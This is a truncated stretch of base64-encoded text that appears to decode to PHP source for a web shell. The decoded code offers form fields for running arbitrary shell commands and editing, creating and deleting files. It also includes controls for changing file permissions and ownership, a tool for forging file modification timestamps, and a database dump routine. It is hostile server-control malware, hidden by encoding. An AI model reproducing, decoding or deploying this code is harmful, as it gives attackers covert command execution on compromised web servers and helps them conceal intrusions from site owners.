sX3RibCddKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IGNyZWF0ZSBkdW1wIjsgfQogIGVsc2UgewogICBpZihlbXB0eSgkX1BPU1RbJ2RpZiddKSkgeyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpIGVjaG8gJHYuIlxyXG4iOyB9CiAgIGVsc2UgaWYoQGlzX3dyaXRhYmxlKCRfUE9TVFsnZGlmX25hbWUnXSkpeyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpeyBtb3Jld3JpdGUoJF9QT1NUWydkaWZfbmFtZSddLCAkdi4iXHJcbiIpO30gfSAKICAgZWxzZSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgd3JpdGUgaW4gZHVtcCBmaWxlIjsgfQogICB9CiB9IAoKZWNobyAiPC90ZXh0YXJlYT48L2Rpdj4iOwplY2hvICI8L2I+IjsKZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsKZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7CgpmdW5jdGlvbiBkaXZfdGl0bGUoJHRpdGxlLCAkaWQpCnsKICByZXR1cm4gJzxhIHN0eWxlPSJjdXJzb3I6IHBvaW50ZXI7IiBvbkNsaWNrPSJjaGFuZ2VfZGl2c3QoXCcnLiRpZC4nXCcpOyI+Jy4kdGl0bGUuJzwvYT4nOwp9CmZ1bmN0aW9uIGRpdigkaWQpCiB7IAogaWYoaXNzZXQoJF9DT09LSUVbJGlkXSkgJiYgKCRfQ09PS0lFWyRpZF09PTApKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+JzsgCiAkZGl2aWQ9YXJyYXkoJ2lkNScsJ2lkNicsJ2lkOCcsJ2lkOScsJ2lkMTAnLCdpZDExJywnaWQxNicsJ2lkMjQnLCdpZDI1JywnaWQyNicsJ2lkMjcnLCdpZDI4JywnaWQyOScsJ2lkMzMnLCdpZDM0JywnaWQzNScsJ2lkMzcnLCdpZDM4JywnaWQzOScpOwogaWYoZW1wdHkoJF9DT09LSUVbJGlkXSkgJiYgQGluX2FycmF5KCRpZCwkZGl2aWQpKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+JzsgCiByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciPic7CiB9CiAKaWYoISRzYWZlX21vZGUpewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLCdpZDEnKS4kdGFibGVfdXAyLmRpdignaWQxJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2NtZCcsODUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDg1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KZWxzZXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI4J10sJ2lkMicpLiR0YWJsZV91cDIuZGl2KCdpZDInKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdzYWZlX2RpcicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDYnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQyJ10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2VfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZWRpdF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKCmlmKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcil7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NyddLCdpZDQnKS4kdGFibGVfdXAyLmRpdignaWQ0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdta19uYW1lJyw1NCwoIWVtcHR5KCRfUE9TVFsnbWtfbmFtZSddKT8oJF9QT1NUWydta19uYW1lJ10pOigibmV3X25hbWUiKSkpLndzKDQpLiI8c2VsZWN0IG5hbWU9YWN0aW9uPjxvcHRpb24gdmFsdWU9Y3JlYXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGVsZXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY2J10uIjwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMykuIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9ZmlsZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiI8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRpcj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MCddLiI8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdjbWQnLDAsJ21rJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMyddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoJHVuaXggJiYgQGZ1bmN0aW9uX2V4aXN0cygndG91Y2gnKSl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjgnXSwnaWQ1JykuJHRhYmxlX3VwMi5kaXYoJ2lkNScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZmlsZV9uYW1lJyw0MCwoIWVtcHR5KCRfUE9TVFsnZmlsZV9uYW1lJ10pPygkX1BPU1RbJ2ZpbGVfbmFtZSddKTooJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSkpCi53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjYnXS53cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iCi53cygyKS5pbigndGV4dCcsJ2ZpbGVfbmFtZV9yJyw0MCwoIWVtcHR5KCRfUE9TVFsnZmlsZV9uYW1lX3InXSk/KCRfUE9TVFsnZmlsZV9uYW1lX3InXSk6KCIiKSkpKTsKZWNobyBzcigxNSwiPGI+IG9yIHNldCAgRGF5Ii4kYXJyb3cuIjwvYj4iLAonCjxzZWxlY3QgbmFtZT0iZGF5IiBzaXplPSIxIj4KPG9wdGlvbiB2YWx1ZT0iMDEiPjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDQiPjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDUiPjU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDciPjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDgiPjg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiPjEwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTMiPjEzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTYiPjE2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTkiPjE5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjIiPjIyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjUiPjI1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNyI+Mjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjgiPjI4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI5Ij4yOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzEiPjMxPC9vcHRpb24+Cjwvc2VsZWN0PicKLndzKDQpLiI8Yj5Nb250aCIuJGFycm93LiI8L2I+IgouJwo8c2VsZWN0IG5hbWU9Im1vbnRoIiBzaXplPSIxIj4KPG9wdGlvbiB2YWx1ZT0iSmFudWFyeSI+SmFudWFyeTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJGZWJydWFyeSI+RmVicnVhcnk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iTWFyY2giPk1hcmNoPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IkFwcmlsIj5BcHJpbDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJNYXkiPk1heTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJKdW5lIj5KdW5lPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9Ikp1bHkiPkp1bHk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iQXVndXN0Ij5BdWd1c3Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iU2VwdGVtYmVyIj5TZXB0ZW1iZXI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iT2N0b2JlciI+T2N0b2Jlcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJOb3ZlbWJlciI+Tm92ZW1iZXI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iRGVjZW1iZXIiPkRlY2VtYmVyPC9vcHRpb24+Cjwvc2VsZWN0PicKLndzKDQpLiI8Yj5ZZWFyIi4kYXJyb3cuIjwvYj4iCi4nCjxzZWxlY3QgbmFtZT0ieWVhciIgc2l6ZT0iMSI+CjxvcHRpb24gdmFsdWU9IjE5OTgiPjE5OTg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTk5OSI+MTk5OTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDAwIj4yMDAwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDEiPjIwMDE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwMiI+MjAwMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDAzIj4yMDAzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDQiPjIwMDQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwNSI+MjAwNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDYiPjIwMDc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwNiI+MjAwODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDYiPjIwMTA8L29wdGlvbj4KPC9zZWxlY3Q+Jwoud3MoNCkuIjxiPkhvdXIiLiRhcnJvdy4iPC9iPiIKLicKPHNlbGVjdCBuYW1lPSJjaGFzaSIgc2l6ZT0iMSI+CjxvcHRpb24gdmFsdWU9IjAxIj4wMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIwMiI+MDI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDMiPjAzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA0Ij4wNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIwNSI+MDU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDYiPjA2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA3Ij4wNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIwOCI+MDg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDkiPjA5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMSI+MTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiPjEyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNCI+MTQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNyI+MTc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMCI+MjA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjEiPjIxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMyI+MjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9vcHRpb24+Cjwvc2VsZWN0PicKLndzKDQpLiI8Yj5NaW51dGUiLiRhcnJvdy4iPC9iPiIKLicKPHNlbGVjdCBuYW1lPSJtaW51dGVzIiBzaXplPSIxIj4KPG9wdGlvbiB2YWx1ZT0iMDEiPjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDQiPjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDUiPjU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDciPjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDgiPjg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiPjEwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTMiPjEzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTYiPjE2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTkiPjE5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjIiPjIyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjUiPjI1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNyI+Mjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjgiPjI4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI5Ij4yOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzEiPjMxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMyIj4zMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMyI+MzM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzQiPjM0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM1Ij4zNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzNiI+MzY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzciPjM3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM4Ij4zODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzOSI+Mzk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDAiPjQwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQxIj40MTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0MiI+NDI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDMiPjQzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ0Ij40NDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0NSI+NDU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDYiPjQ2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ3Ij40Nzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0OCI+NDg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDkiPjQ5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUwIj41MDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1MSI+NTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTIiPjUyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUzIj41Mzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NCI+NTQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTUiPjU1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU2Ij41Njwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NyI+NTc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTgiPjU4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU5Ij41OTwvb3B0aW9uPgo8L3NlbGVjdD4nCi53cyg0KS4iPGI+U2Vjb25kIi4kYXJyb3cuIjwvYj4iCi4nCjxzZWxlY3QgbmFtZT0ic2Vjb25kIiBzaXplPSIxIj4KPG9wdGlvbiB2YWx1ZT0iMDEiPjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDQiPjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDUiPjU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDciPjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDgiPjg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiPjEwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTMiPjEzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTYiPjE2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTkiPjE5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjIiPjIyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjUiPjI1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNyI+Mjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjgiPjI4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI5Ij4yOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzEiPjMxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMyIj4zMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMyI+MzM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzQiPjM0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM1Ij4zNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzNiI+MzY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzciPjM3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM4Ij4zODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzOSI+Mzk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDAiPjQwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQxIj40MTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0MiI+NDI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDMiPjQzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ0Ij40NDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0NSI+NDU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDYiPjQ2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ3Ij40Nzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0OCI+NDg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDkiPjQ5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUwIj41MDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1MSI+NTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTIiPjUyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUzIj41Mzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NCI+NTQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTUiPjU1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU2Ij41Njwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NyI+NTc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTgiPjU4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU5Ij41OTwvb3B0aW9uPgo8L3NlbGVjdD4nCi5pbignaGlkZGVuJywnY21kJywwLCd0b3VjaCcpCi5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpCi53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9Cgokc2VsZWN0PScnOwppZihAZnVuY3Rpb25fZXhpc3RzKCdjaG1vZCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPW1vZD5DSE1PRDwvb3B0aW9uPiI7fQppZihAZnVuY3Rpb25fZXhpc3RzKCdjaG93bicpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPW93bj5DSE9XTjwvb3B0aW9uPiI7fQppZihAZnVuY3Rpb25fZXhpc3RzKCdjaGdycCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPWdycD5DSEdSUDwvb3B0aW9uPiI7fQppZigkdW5peCAmJiAkc2VsZWN0KXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY3J10sJ2lkNicpLiR0YWJsZV91cDIuZGl2KCdpZDYnKS4kdHM7CmVjaG8gQHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwYXJhbTEnLDU1LCgoJF9QT1NUWydwYXJhbTEnXSk/KCRfUE9TVFsncGFyYW0xJ10pOigkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKSkud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY4J10uJGFycm93LiI8L2I+Ii4iPHNlbGVjdCBuYW1lPXdoYXQ+Ii4kc2VsZWN0LiI8L3NlbGVjdD4iLndzKDQpLmluKCd0ZXh0JywncGFyYW0yIHRpdGxlPSInLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MSddLiciJywxMCwoKCRfUE9TVFsncGFyYW0yJ10pPygkX1BPU1RbJ3BhcmFtMiddKTooIjA3NzciKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2NoXycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoISRzYWZlX21vZGUpewokYWxpYXNlczIgPSAnJzsKZm9yZWFjaCAoJGFsaWFzZXMgYXMgJGFsaWFzX25hbWU9PiRhbGlhc19jbWQpCiB7CiAkYWxpYXNlczIgLj0gIjxvcHRpb24+JGFsaWFzX25hbWU8L29wdGlvbj4iOwogfQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NyddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLndzKDkpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J10uJGFycm93LndzKDQpLiI8L2I+IiwiPHNlbGVjdCBuYW1lPWFsaWFzPiIuJGFsaWFzZXMyLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU0J10sJ2lkOCcpLiR0YWJsZV91cDIuZGl2KCdpZDgnKS4kdHM7CmVja